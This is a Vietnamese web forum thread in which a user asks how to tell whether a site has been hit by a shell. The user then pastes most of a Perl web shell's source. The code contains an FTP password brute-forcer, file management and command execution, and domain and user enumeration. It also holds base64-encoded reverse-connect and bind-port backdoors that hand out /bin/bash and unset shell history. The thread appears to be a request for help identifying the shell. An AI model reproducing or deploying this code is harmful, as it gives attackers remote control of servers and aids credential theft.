Làm sao để biết bị dính shell vậy bác?
Help Shell ?
Discussion in 'Installation, Upgrade, and Import Support' started by dakhucquan.net, Dec 11, 2017.
[+] Trying brute $ServerName
====================>>>>>>>>>>>><<<<<<<<<<====================
\n"; foreach $username (@user) { if(!($username eq "")) { foreach $password (@pass) { $ftp = Net::FTP->new($Server) or die "Could not connect to $ServerName\n"; if($ftp->login("$username","$password")) { $result .= "[+] ftp://$username:$password\@$Server
\n"; $ftp->quit(); break; } if(!($in{'sleep'} eq "0")) { sleep(int($in{'sleep'})); } $ftp->quit(); } } } $result .= "\n
==========>>>>>>>>>> Finished <<<<<<<<<<==========
\n"; } return $result; } #------------------------------------------------------------------------------ # Backconnect Form #------------------------------------------------------------------------------ sub BackBindForm { return <
BackConnect: | Host: Port: | |
[+] Client listen before connect back!
[+] Try check your Port with http://www.canyouseeme.org/ [+] Client listen with command: |
Bind Port: | Port: Password: | |
[+] Chuc nang chua dc test!
[+] Try command: |
END } #------------------------------------------------------------------------------ # Backconnect use perl #------------------------------------------------------------------------------ sub BackBind { use MIME::Base64; use Socket; $backperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgSU86OlNvY2tldDsNCiRTaGVsbAk9ICIvYmluL2Jhc2giOw0KJEFSR0M9QEFSR1Y7DQp1c2UgU29ja2V0Ow0KdXNlIEZpbGVIYW5kbGU7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoInRjcCIpKSBvciBkaWUgcHJpbnQgIlstXSBVbmFibGUgdG8gUmVzb2x2ZSBIb3N0XG4iOw0KY29ubmVjdChTT0NLRVQsIHNvY2thZGRyX2luKCRBUkdWWzFdLCBpbmV0X2F0b24oJEFSR1ZbMF0pKSkgb3IgZGllIHByaW50ICJbLV0gVW5hYmxlIHRvIENvbm5lY3QgSG9zdFxuIjsNCnByaW50ICJDb25uZWN0ZWQhIjsNClNPQ0tFVC0+YXV0b2ZsdXNoKCk7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCI+JlNPQ0tFVCIpOw0Kb3BlbihTVERFUlIsIj4mU09DS0VUIik7DQpwcmludCAiLS09PSBDb25uZWN0ZWQgQmFja2Rvb3IgPT0tLSAgXG5cbiI7DQpzeXN0ZW0oInVuc2V0IEhJU1RGSUxFOyB1bnNldCBTQVZFSElTVCA7ZWNobyAnWytdIFN5c3RlbWluZm86ICc7IHVuYW1lIC1hO2VjaG87ZWNobyAnWytdIFVzZXJpbmZvOiAnOyBpZDtlY2hvO2VjaG8gJ1srXSBEaXJlY3Rvcnk6ICc7IHB3ZDtlY2hvOyBlY2hvICdbK10gU2hlbGw6ICc7JFNoZWxsIik7DQpjbG9zZSBTT0NLRVQ7"; $bindperl="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJEFSR0M9QEFSR1Y7DQokcG9ydAk9ICRBUkdWWzBdOw0KJHByb3RvCT0gZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpOw0KJFNoZWxsCT0gIi9iaW4vYmFzaCI7DQpzb2NrZXQoU0VSVkVSLCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKW9yIGRpZSAic29ja2V0OiQhIjsNCnNldHNvY2tvcHQoU0VSVkVSLCBTT0xfU09DS0VULCBTT19SRVVTRUFERFIsIHBhY2soImwiLCAxKSlvciBkaWUgInNldHNvY2tvcHQ6ICQhIjsNCmJpbmQoU0VSVkVSLCBzb2NrYWRkcl9pbigkcG9ydCwgSU5BRERSX0FOWSkpb3IgZGllICJiaW5kOiAkISI7DQpsaXN0ZW4oU0VSVkVSLCBTT01BWENPTk4pCQlvciBkaWUgImxpc3RlbjogJCEiOw0KZm9yKDsgJHBhZGRyID0gYWNjZXB0KENMSUVOVCwgU0VSVkVSKTsgY2xvc2UgQ0xJRU5UKQ0Kew0KCW9wZW4oU1RESU4sICI+JkNMSUVOVCIpOw0KCW9wZW4oU1RET1VULCAiPiZDTElFTlQiKTsNCglvcGVuKFNUREVSUiwgIj4mQ0xJRU5UIik7DQoJc3lzdGVtKCJ1bnNldCBISVNURklMRTsgdW5zZXQgU0FWRUhJU1QgO2VjaG8gJ1srXSBTeXN0ZW1pbmZvOiAnOyB1bmFtZSAtYTtlY2hvO2VjaG8gJ1srXSBVc2VyaW5mbzogJzsgaWQ7ZWNobztlY2hvICdbK10gRGlyZWN0b3J5OiAnOyBwd2Q7ZWNobzsgZWNobyAnWytdIFNoZWxsOiAnOyRTaGVsbCIpOw0KCWNsb3NlKFNURElOKTsNCgljbG9zZShTVERPVVQpOw0KCWNsb3NlKFNUREVSUik7DQp9DQo="; $ClientAddr = $in{'clientaddr'}; $ClientPort = int($in{'clientport'}); if($ClientPort eq 0) { return &BackBindForm; }elsif(!$ClientAddr eq "") { $Data=decode_base64($backperl); if(-w "/tmp/") { $File="/tmp/backconnect.pl"; }else { $File=$CurrentDir.$PathSep."backconnect.pl"; } open(FILE, ">$File"); print FILE $Data; close FILE; system("perl backconnect.pl $ClientAddr $ClientPort"); unlink($File); exit 0; }else { $Data=decode_base64($bindperl); if(-w "/tmp") { $File="/tmp/bindport.pl"; }else { $File=$CurrentDir.$PathSep."bindport.pl"; } open(FILE, ">$File"); print FILE $Data; close FILE; system("perl bindport.pl $ClientPort"); unlink($File); exit 0; } } #------------------------------------------------------------------------------ # Array List Directory #------------------------------------------------------------------------------ sub RmDir($) { my $dir = shift; if(opendir(DIR,$dir)) { while($file = readdir(DIR)) { if(($file ne ".") && ($file ne "..")) { $file= $dir.$PathSep.$file; if(-d $file) { &RmDir($file); } else { unlink($file); } } } closedir(DIR); } if(!rmdir($dir)) { } } sub FileOwner($) { my $file = shift; if(-e $file) { ($uid,$gid) = (stat($file))[4,5]; if($WinNT) { return "???"; } else { $name=getpwuid($uid); $group=getgrgid($gid); return $name."/".$group; } } return "???"; } sub ParentFolder($) { my $path = shift; my $Comm = "cd \"$CurrentDir\"".$CmdSep."cd ..".$CmdSep.$CmdPwd; chop($path = `$Comm`); return $path; } sub FilePerms($) { my $file = shift; my $ur = "-"; my $uw = "-"; if(-e $file) { if($WinNT) { if(-r $file){ $ur = "r"; } if(-w $file){ $uw = "w"; } return $ur . " / " . $uw; }else { $mode=(stat($file))[2]; $result = sprintf("%04o", $mode & 07777); return $result; } } return "0000"; } sub FileLastModified($) { my $file = shift; if(-e $file) { ($la) = (stat($file))[9]; ($d,$m,$y,$h,$i) = (localtime($la))[3,4,5,2,1]; $y = $y + 1900; @month = qw/1 2 3 4 5 6 7 8 9 10 11 12/; $lmtime = sprintf("%02d/%s/%4d %02d:%02d",$d,$month[$m],$y,$h,$i); return $lmtime; } return "???"; } sub FileSize($) { my $file = shift; if(-f $file) { return -s $file; } return "0"; } sub ParseFileSize($) { my $size = shift; if($size <= 1024) { return $size. " B"; } else { if($size <= 1024*1024) { $size = sprintf("%.02f",$size / 1024); return $size." KB"; } else { $size = sprintf("%.2f",$size / 1024 / 1024); return $size." MB"; } } } sub trim($) { my $string = shift; $string =~ s/^\s+//; $string =~ s/\s+$//; return $string; } sub AddSlashes($) { my $string = shift; $string=~ s/\\/\\\\/g; return $string; } sub ListDir { my $path = $CurrentDir.$PathSep; $path=~ s/\\\\/\\/g; my $result = "
File Name | File Size | Owner | Permission | Last Modified | Action |
---|---|---|---|---|---|
[ ".$dirname." ] | "; $result .= "DIR | "; $result .= "".&FileOwner($d)." | "; $result .= "".&FilePerms($d)." | "; $result .= "".&FileLastModified($d)." | "; $result .= "Rename | Remove | "; $result .= "
".$file." | "; $result .= "".&ParseFileSize(&FileSize($f))." | "; $result .= "".&FileOwner($f)." | "; $result .= "".&FilePerms($f)." | "; $result .= "".&FileLastModified($f)." | "; $result .= "Edit | Rename | Download | Remove | "; $result .= "
Hoang Sa - Truong Sa
"; if ($err) { $result .= ('C0uldn\'t Bypass it , Sorry
'); return $result; }else { $result .= 'Domains | User |
---|---|
'.$one.' | '.$owner.' |
Don't run on Windows
"; } my $result="Path Log | Submit | |
---|---|---|
$perms |
"; }else { print "
"; } } } $rename=$in{'rename'}; if(!$rename eq "") { if(rename($TransferFile,$rename)) { print "
"; }else { print "
"; } } $remove=$in{'remove'}; if($remove ne "") { $rm = $CurrentDir.$PathSep.$remove; if(-d $rm) { &RmDir($rm); }else { if(unlink($rm)) { print "
"; }else { print "
"; } } } print &ListDir; } elsif($Action eq "command") # user wants to run a command { &PrintPageHeader("c"); print &ExecuteCommand; } elsif($Action eq "save") # user wants to save a file { &PrintPageHeader; if(&SaveFile($in{'data'},$in{'file'})) { print "
"; }else { print "
"; } print &ListDir; } elsif($Action eq "upload") # user wants to upload a file { &PrintPageHeader; print &UploadFile; } elsif($Action eq "backbind") # user wants to back connect or bind port { &PrintPageHeader("clientport"); print &BackBind; } elsif($Action eq "bruteforcer") # user wants to brute force { &PrintPageHeader; print &BruteForcer; }elsif($Action eq "download") # user wants to download a file { print &DownloadFile; }elsif($Action eq "checklog") # user wants to view log file { &PrintPageHeader; print &ViewLog; }elsif($Action eq "domainsuser") # user wants to view list user/domain { &PrintPageHeader; print &ViewDomainUser; }elsif($Action eq "logout") # user wants to logout { &PerformLogout; } &PrintPageFooter;
Quan tâm nhiều
Em muốn thêm định dạng để upload lên trên diễn đàn
bởi admvle, Apr 29, 2020 at 11:38 AM

Hello cả nhà, còn nhiều thành viên hoạt động không?
bởi dinhhiep36, May 11, 2020 at 5:36 PM
Bài viết mới

Hello cả nhà, còn nhiều thành viên hoạt động không?
bởi dinhhiep36, May 11, 2020 at 5:36 PM
Em muốn thêm định dạng để upload lên trên diễn đàn
bởi admvle, Apr 29, 2020 at 11:38 AM
Last edited: Dec 11, 2017
THB likes this.